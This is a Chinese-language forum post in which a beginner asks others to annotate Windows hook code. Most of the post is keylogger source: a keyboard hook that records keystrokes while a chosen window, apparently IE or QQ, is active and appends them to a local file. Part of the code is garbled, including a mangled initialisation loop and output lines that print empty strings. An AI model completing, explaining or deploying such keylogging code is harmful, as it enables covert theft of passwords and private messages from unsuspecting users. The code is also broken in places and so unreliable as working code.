vc钩子代码啊，新人，所以请大侠高手帮忙把重要地方注释一下，特别是中间一大段抓按键的代码，感激你全家

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{

int i, temp;
int flag_shift;
int flag_capital;
int flag_alt;
int flag_control;

if (IE_is_active)
{
if ((wParam == VK_SHIFT) || (wParam == VK_CAPITAL) || (wParam == VK_MENU) || (wParam == VK_CONTROL))
{
flag_shift = 0x8000 & GetKeyState(VK_SHIFT); //SHIFT键是否按下
flag_capital = 0x0001 & GetKeyState(VK_CAPITAL); //同上
flag_alt = 0x8000 & GetKeyState(VK_MENU);//同上
flag_control = 0x8000 & GetKeyState(VK_CONTROL);//同上
}
if (wParam!=VK_TAB && wParam!=VK_ESCAPE && wParam !=VK_LEFT && wParam!=VK_RIGHT &&
wParam!=VK_UP && wParam!=VK_DOWN && wParam!=VK_END && wParam!=VK_HOME &&
wParam!=VK_PRIOR && wParam!=VK_NEXT && wParam!=VK_INSERT && wParam!=VK_NUMLOCK &&
wParam!=VK_SCROLL && wParam!=VK_PAUSE && wParam!=VK_LWIN && wParam!=VK_RWIN &&
wParam!=VK_F1 && wParam!=VK_F2 && wParam!=VK_F3 && wParam!=VK_F4 && wParam!=VK_F5 &&
wParam!=VK_F6 && wParam!=VK_F7 && wParam!=VK_F8 && wParam!=VK_F9 &&wParam!=VK_F10 &&
wParam!=VK_F11 && wParam!=VK_F12) //如果不是特殊按键
{
if ((0x80000000 & lParam) == 0) //键按下
{
if (wParam>=0x41 && wParam<=0x5a)
wParam+=32; //Kisbeture konvertalas
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL) //按下CAPITAL
temp=1;
else temp=0;
condition[count][wParam-16-temp]=1;
}
tomb[count] = wParam;
count++;
}
else //WM_KEYUP?
if (wParam==VK_SHIFT || wParam==VK_CONTROL || wParam==VK_MENU || wParam==VK_CAPITAL)
{
if (wParam==VK_CAPITAL)
temp=1;
else temp=0;
condition[count][wParam-16-temp]=2;
tomb[count] = wParam;
count++;
}
if (count==CHARNUM)
{
stream = fopen(PLACEOFFILE, "a+");

for (i = 0; i < count; i++)
{
switch(tomb[i])
{
case VK_DELETE :
fprintf(stream, "%s", "");
break;

case VK_RETURN :
fprintf(stream, "%s", "\n");
break;

case VK_BACK :
fprintf(stream, "%s", "");
break;

case VK_SHIFT :
if (condition[i][SHIFT]==1)
fprintf(stream, "%s", "");
else
fprintf(stream, "%s", "");
break;

case VK_CONTROL :
if (condition[i][CONTROL]==1)
fprintf(stream, "%s", "");
else
fprintf(stream, "%s", "");
break;

case VK_MENU :
if (condition[i][ALT]==1)
fprintf(stream, "%s", "");
else
fprintf(stream, "%s", "");
break;

case VK_CAPITAL :
if (condition[i][CAPITAL]==1)
fprintf(stream, "%s", "");
else
fprintf(stream, "%s", "");
break;

default:
fprintf(stream, "%c", tomb[i]);
break;
}
}
fclose (stream);
count=0;
Initcondition();
}
}
}
return CallNextHookEx(hhook, code, wParam, lParam);
}

void Initcondition(void)
{
int i, j;
for (i=0; ifor (j=0; j condition[i][j]=0;
}

LRESULT CALLBACK CBTProc(int code, WPARAM wParam, LPARAM lParam)
{
if(code==HCBT_ACTIVATE)
{
GetClassName((HANDLE)wParam, text, TXTLENGTH);
// if (text[0]=='q' && text[1]=='q') //Class name of Internet-Explorer begins with IE
IE_is_active=TRUE;
//else
// IE_is_active=FALSE;
}

return CallNextHookEx(hhookMsg, code, wParam, lParam);
}
我也晕..